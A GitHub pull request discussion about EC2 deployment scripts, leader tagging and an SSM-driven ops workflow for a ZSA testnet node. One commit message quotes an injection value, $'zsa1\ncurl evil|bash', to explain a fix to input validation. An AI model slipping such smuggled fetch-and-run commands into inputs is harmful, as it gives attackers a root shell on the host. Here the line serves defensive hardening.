Add EC2 configuration and the ops workflow for ZSATestnet - #158
Conversation
There was a problem hiding this comment.
Same code as the lambda python code we had, just without fetching the LambdaVersion parameter.
| put() { aws ssm put-parameter --region "$REGION" --name "$PARAM" \ | ||
| --type String --value "$ID" "$@" >/dev/null; } | ||
| get() { aws ssm get-parameter --region "$REGION" --name "$PARAM" \ | ||
| --query Parameter.Value --output text 2>/dev/null || true; } |
| state=$(aws ec2 describe-instances --region "$REGION" --instance-ids "$cur" \ | ||
| --query 'Reservations[].Instances[].State.Name' --output text 2>/dev/null || echo gone) | ||
| case "$state" in | ||
| ""|None|gone|terminated|shutting-down|stopped|stopping) put --overwrite; return 0 ;; |
There was a problem hiding this comment.
Fixed, here and in another place
| cur=$(get) | ||
| [ "$cur" = "$ID" ] && return 0 | ||
| state=$(aws ec2 describe-instances --region "$REGION" --instance-ids "$cur" \ | ||
| --query 'Reservations[].Instances[].State.Name' --output text 2>/dev/null || echo gone) |
There was a problem hiding this comment.
this will echo gone + exit code 0 unconditionally.
|
|
||
| # State is ephemeral and the node has no peers, so genesis is re-injected after | ||
| # every start. Idempotent: an already-committed block returns "rejected", HTTP 200. | ||
| serve_genesis() { |
There was a problem hiding this comment.
Let's call it self_serve_genesis(). Just the function not the op
| **3. Genesis + verify** | ||
|
|
||
| ```sh | ||
| aws ssm send-command --region eu-central-1 --instance-ids <id> \ |
There was a problem hiding this comment.
Let's add this command as a manual way to operate ops.sh - add this to ops.sh section
+generalise region
There was a problem hiding this comment.
Moved it into the ops.sh section as the general manual path
| PARAM=/zebra/leader | ||
| REGION="${AWS_REGION:-eu-central-1}" | ||
|
|
||
| TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token \ |
There was a problem hiding this comment.
It's the EC2 Instance Metadata Service, it's an endpoint by AWS that gives info about the instance (from inside the instance)
Clarified
| else untag 2>/dev/null || true | ||
| cd /opt/zebra && docker compose stop cloudflared >/dev/null 2>&1 || true | ||
| echo follower; fi ;; | ||
| promote) put --overwrite; tag; start_tunnel; echo "leader: $ID" ;; |
There was a problem hiding this comment.
this promote) undermines the entire design. It will create a second "leader" and a second connection on a new machine without making sure that the previous leader is disconnected.
When this happens we are also locked out of ops - we will get || { echo "::error::expected 1 leader, got: '$ID'"; exit 1; } in ops-ec2.yaml
There was a problem hiding this comment.
Agree. Not fixing it here as your 159 addresses this
Lets use the simplified logic from 159 - I merged it into this. |
Drop the SSM-parameter election from leader.sh. Role=leader is now written only by the ops workflow, and `leader.sh apply` just makes the box match it: connector up if tagged, down if not. No shared lock, so the claim races and the two-connector state promote could leave behind are gone rather than fixed. A failed tag lookup exits non-zero without touching the connector. promote/demote move to the workflow: untag the old leader, tag the new, apply to both. The instance profile drops to ec2:DescribeTags plus the token read. Also puts cloudflared in the `tunnel` compose profile so a bare `up -d` cannot start one, and passes its token via TUNNEL_TOKEN instead of argv. Co-authored-by: ronkq <arseni@qed-it.com>
cf7390c to
8b901c1
Compare
cbb0f2b to
0ef29a1
Compare
* Add EC2 ops workflow driving the testnet node over SSM * Pass ops workflow inputs through env and validate image_tag and instance_id * Validate ops workflow inputs and fail the job on non-Success SSM status * Poll SSM for up to 15 minutes instead of the 100s command-executed waiter && Pin configure-aws-credentials to a commit SHA * Source AWS_REGION from vars instead of hardcoding it * Run the ops job under the dev environment and move env into the job * Small fix of leader * Move promote and demote to the runner as Role tag changes * Verify an explicit instance_id belongs to zebra-testnet before acting on it
PaulLaux
left a comment
There was a problem hiding this comment.
Overall good. Added comments
Also, please update the "leadership" section in the PR description.
| Type=oneshot | ||
| RemainAfterExit=yes | ||
| ExecStart=/bin/bash /opt/zebra/leader.sh apply | ||
|
|
There was a problem hiding this comment.
we need Restart=on-failure - leader.sh deliberately exit with code 1 when the tag lookup fails, a retry can help us if the tag is lost and there is a delay.
There was a problem hiding this comment.
Did you test the service live? on which linux?
There was a problem hiding this comment.
Let's add here RestartSec=30 too. otherwise we will get 100ms interval on restart (might not be enough to recover on network error)
There was a problem hiding this comment.
Added the RestartSec=30
| } | ||
|
|
||
| RC=0 | ||
| for I in $TARGET_ID $ALSO_ID; do send "$I" || RC=1; done |
There was a problem hiding this comment.
Iterate $ALSO_ID first - bring down the existing first then up the new.
| } | ||
|
|
||
| case "$ACTION" in | ||
| deploy) sed -i "s|^IMAGE=.*|IMAGE=$IMAGE_REPO:$TAG|" .env |
There was a problem hiding this comment.
This will fail silently if there is no IMAGE= env var. Protect it like you did in leader.sh:
deploy) grep -q '^IMAGE=' .env || { echo "no IMAGE= line in .env" >&2; exit 1; }
case "$IMAGE_REPO" in *.dkr.ecr.*.amazonaws.com/*)
aws ecr get-login-password --region "${AWS_REGION:-eu-central-1}" \
| docker login --username AWS --password-stdin "${IMAGE_REPO%%/*}" ;;
esac
docker pull "$IMAGE_REPO:$TAG"
sed -i "s|^IMAGE=.*|IMAGE=$IMAGE_REPO:$TAG|" .env
docker compose up -d zebra-testnet
self_serve_genesis ;;| self_serve_genesis() { | ||
| local hex | ||
| hex=$(docker exec zebra-testnet cat /app/zebra-test/src/vectors/block-test-0-000-000.txt | tr -d '[:space:]') | ||
| curl -s --retry 30 --retry-delay 2 --retry-connrefused --retry-all-errors \ |
There was a problem hiding this comment.
add --fail-with-body with a proper msg. Otherwise HTTP error, or a JSON-RPC error object in a 200, is printed and the script exits 0.
There was a problem hiding this comment.
Added --fail-with-body and an explicit message
| aws-region: ${{ env.AWS_REGION }} | ||
|
|
||
| - name: Guard destructive actions | ||
| if: contains(fromJSON('["stop","demote"]'), inputs.action) |
There was a problem hiding this comment.
restart, start, recreate and deploy all destroy the entire chain. Let's add them.
| { echo "### $id — ops.sh $OPS" | ||
| jq -r '[.Status, .StandardOutputContent, .StandardErrorContent] | @tsv' <<<"$inv" | ||
| } | tee -a "$GITHUB_STEP_SUMMARY" |
There was a problem hiding this comment.
@tsv escapes newlines, so all SSM output is one unreadable line.
consider
{ echo "### $id — ops.sh $OPS"
echo "status: $(jq -r '.Status // "unknown"' <<<"$inv")"
echo '```'
jq -r '.StandardOutputContent // "", .StandardErrorContent // ""' <<<"$inv"
echo '```'
} | tee -a "$GITHUB_STEP_SUMMARY"or similar
| for _ in $(seq 1 180); do | ||
| inv=$(aws ssm get-command-invocation --command-id "$cmd" \ | ||
| --instance-id "$id" 2>/dev/null || echo '{}') | ||
| st=$(jq -r '.Status // "Pending"' <<<"$inv") | ||
| case "$st" in Success|Failed|Cancelled|TimedOut) break ;; esac | ||
| sleep 5 |
There was a problem hiding this comment.
get-command-invocation errors into {}, st stays Pending.
As a result this loop will poll for 5 * 180 = 15 min on fail. Any specific reason to wait that long? If not, reduce to 4 min max or change the polling method
| recreate) docker compose up -d --force-recreate zebra-testnet; self_serve_genesis ;; | ||
| genesis) self_serve_genesis ;; | ||
| stop) docker compose stop zebra-testnet ;; | ||
| logs) docker compose logs zebra-testnet --tail=200 --no-color ;; |
There was a problem hiding this comment.
The SSM on the other side has a limit of 24K charts. Reduce to 50 lines, or go for something more sophisticated to avoid this issue.
PaulLaux
left a comment
There was a problem hiding this comment.
Added minor comments and a question
| Must be built from this branch — its `zebra-network/src/config.rs` makes | ||
| `funding_streams = []` actually clear the default testnet streams; without it | ||
| every block is rejected with `Deferred(-7875000000000)`. 20-40 min cold. |
| Type=oneshot | ||
| RemainAfterExit=yes | ||
| ExecStart=/bin/bash /opt/zebra/leader.sh apply | ||
|
|
There was a problem hiding this comment.
Did you test the service live? on which linux?
| Type=oneshot | ||
| RemainAfterExit=yes | ||
| ExecStart=/bin/bash /opt/zebra/leader.sh apply | ||
|
|
There was a problem hiding this comment.
Let's add here RestartSec=30 too. otherwise we will get 100ms interval on restart (might not be enough to recover on network error)
…guard IMAGE_REPO, drop the funding_streams patch
* fix(ec2): match inputs against the whole string, not per line grep anchors ^ and $ per line, so an anchored pattern passes as soon as any one line matches. image_tag and ref both reach a root shell on the box, so a value like $'zsa1\ncurl evil|bash' passed validation on its first line and carried the second one through. Use bash [[ =~ ]], which matches the whole string. The '..' check for ref becomes a case: `[[ ]] &&` returns non-zero when false, which would abort the step under bash -e. * fix(ec2): roll the Role tag back when a promote cannot stand down Aborting left the tag on the new leader while the old one still held the tunnel, and re-running promote could not repair it: the tag step finds LEADER already equal to the target, so `also` is empty and the gate is skipped. Put the tag back instead. The target is untagged first, so a rollback that dies partway leaves no leader rather than two. * fix(ec2): report an unfinished SSM command as still running, not failed The poll gives up after 240s but the command keeps going on the box, so Pending/InProgress read as failure with no output to diagnose from. Name that case and print the command id to settle it with. Matters most on promote, which now rolls the Role tag back on a failed stand-down. * fix(ec2): set the SSM poll budget in seconds and raise it to 20 min `tries=48` read like a duration but was an iteration count. Set the wall clock instead and derive the count at the loop. 240s did not cover a cold ECR pull plus genesis retries, so a slow deploy reported as unfinished while it was still working. * Guard send-command failure and clarify promote rollback outcome * shorten comments * shorten comments --------- Co-authored-by: ronkq <arseni@qed-it.com>
Runs the
ZSA1_1testnet node fromtestnet-config.tomlon the shared EC2 box,plus the ops workflow that drives it over SSM.
docker-compose.ymlleader.sh,zebra-leader.serviceRoletagops.shlogs-api.pyREADME.md.github/workflows/ops-ec2.yamlLeadership
The tunnel has one token, and every
cloudflaredholding it becomes anotherconnector Cloudflare load-balances across. These nodes are not replicas — each
has its own ephemeral chain — so only the instance tagged
Role=leaderruns one.Following #159 the workflow writes that tag; the box only makes itself match it,
at boot (
zebra-leader.service) and on demand (ops.sh apply):Nothing on the box writes the tag, so there is no shared state to race over. The
lookup fails closed: a throttled or denied call leaves
cloudflaredas-is ratherthan reading as "not the leader", and the unit retries on failure.
promote/demoteare workflow actions. The runner moves the tag, then sendsapplyto the old leader first — and treats it as a gate: if standing it downfails the run aborts and the new leader is never brought up, so there is no point
at which two connectors are live.
promoteneeds an explicitinstance_idandrefuses while the incumbent is stopped, since SSM cannot reach it to stand it
down.
Genesis
Zebra hard-codes a genesis block for Regtest only, and this network has no peers
to fetch one from, so the node parks at
current_height=Noneuntil it issubmitted.
ops.shdoes that over RPC from the block vector in the image, onevery action that starts the node. Re-submitting is a no-op.
Deployment
The launch template installs the scripts via
user_dataand enables the unit, soa fresh instance matches its tag on boot and comes up with no connector until it
is promoted. The instance profile needs no write permissions:
ec2:DescribeTagsfor the tag,
ssm:GetParameter+kms:Decryptfor the tunnel token.deploy-filesre-fetches these files fromrefonto a running box. Files only —nothing is restarted, so a compose change takes effect on the next
restart/recreate.refis validated and rejects... The default iszsa1,which only resolves once this PR is merged; before that pass
ref=zebra-ec2-configuration.The image must be built from this branch — it carries the ZSA transaction format
the node produces. Until that image is in ECR the box keeps a local
docker-compose.override.ymlpinning the old config path; delete it afterwards.